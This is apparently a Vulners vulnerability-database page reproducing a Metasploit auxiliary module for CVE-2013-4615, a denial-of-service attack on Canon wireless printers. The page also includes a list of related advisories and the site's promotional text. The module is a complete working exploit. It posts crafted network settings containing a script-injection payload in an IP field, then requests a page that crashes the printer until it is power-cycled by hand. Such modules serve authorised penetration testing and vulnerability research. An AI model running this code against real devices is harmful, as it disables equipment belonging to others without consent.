">
Lucene search
+L

Canon Wireless Printer Denial Of Service

🗓️ 18 Jun 2013 00:00:00Reported by Matt "hostess" Andreko <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 42 Views

Canon Wireless Printer Denial Of Service via crafted HTTP request. Recovery requires physical power cycle

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2013-4615
29 May 201815:50
circl
checkpoint_advisories
Check Point Advisories
Canon Wireless Printer Denial Of Service (CVE-2013-4615)
13 Aug 201300:00
checkpoint_advisories
cve
CVE
CVE-2013-4615
21 Jun 201321:00
cve
cvelist
Cvelist
CVE-2013-4615
21 Jun 201321:00
cvelist
nvd
NVD
CVE-2013-4615
21 Jun 201321:55
nvd
openvas
OpenVAS
Canon Printer Multiple Vulnerabilities (Jun 2013) - Active Check
19 Jun 201300:00
openvas
packetstorm
Packet Storm
Canon Printer DoS / Secret Disclosure
18 Jun 201300:00
packetstorm
packetstorm
Packet Storm
Canon Wireless Printer Denial Of Service
31 Aug 202400:00
packetstorm
prion
Prion
Design/Logic Flaw
21 Jun 201321:55
prion
redhatcve
RedhatCVE
CVE-2013-4615
22 May 202511:13
redhatcve
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Canon Wireless Printer Denial Of Service',
        'Description' => %q{
          The HTTP management interface on several models of Canon Wireless printers
          allows for a Denial of Service (DoS) condition via a crafted HTTP request. Note:
          if this module is successful, the device can only be recovered with a physical
          power cycle.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Matt "hostess" Andreko <mandreko[at]accuvant.com>'
        ],
        'References' => [
          [ 'CVE', '2013-4615' ],
          [ 'URL', 'https://www.mattandreko.com/2013/06/canon-y-u-no-security.html']
        ],
        'DisclosureDate' => '2013-06-18',
        'Notes' => {
          'Stability' => [CRASH_SERVICE_DOWN],
          'SideEffects' => [],
          'Reliability' => []
        }
      )
    )
  end

  def is_alive?
    res = send_request_raw({
      'method'	=>	'GET',
      'uri'	=>	'/'
    }, 10)

    return !res.nil?
  end

  def run
    begin
      # The first request will set the new IP
      send_request_cgi({
        'method'	=>	'POST',
        'uri'	=>	'/English/pages_MacUS/cgi_lan.cgi',
        'data'	=>	'OK.x=61' \
          '&OK.y=12' \
          '&LAN_OPT1=2' \
          '&LAN_TXT1=Wireless' \
          '&LAN_OPT3=1' \
          '&LAN_TXT21=192' \
          '&LAN_TXT22=168' \
          '&LAN_TXT23=1' \
          '&LAN_TXT24=114"><script>alert(\'xss\');</script>' \
          '&LAN_TXT31=255' \
          '&LAN_TXT32=255' \
          '&LAN_TXT33=255' \
          '&LAN_TXT34=0' \
          '&LAN_TXT41=192' \
          '&LAN_TXT42=168' \
          '&LAN_TXT43=1' \
          '&LAN_TXT44=1' \
          '&LAN_OPT2=4' \
          '&LAN_OPT4=1' \
          '&LAN_HID1=1'
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
      print_error("Couldn't connect to #{Rex::Socket.to_authority(rhost, rport)}")
      return
    end

    # The second request will load the network options page, which seems to trigger the DoS
    send_request_cgi({
      'method'	=>	'GET',
      'uri'	=>	'/English/pages_MacUS/lan_set_content.html'
    }, 5) # default timeout, we don't care about the response

    # Check to see if it worked or not
    if is_alive?
      print_error("#{Rex::Socket.to_authority(rhost, rport)} - Server is still alive")
    else
      print_good("#{Rex::Socket.to_authority(rhost, rport)} - Connection Refused: Success!")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Jun 2013 00:00Current
5.4Medium risk
Vulners AI Score5.4
CVSS 25
EPSS0.15641
42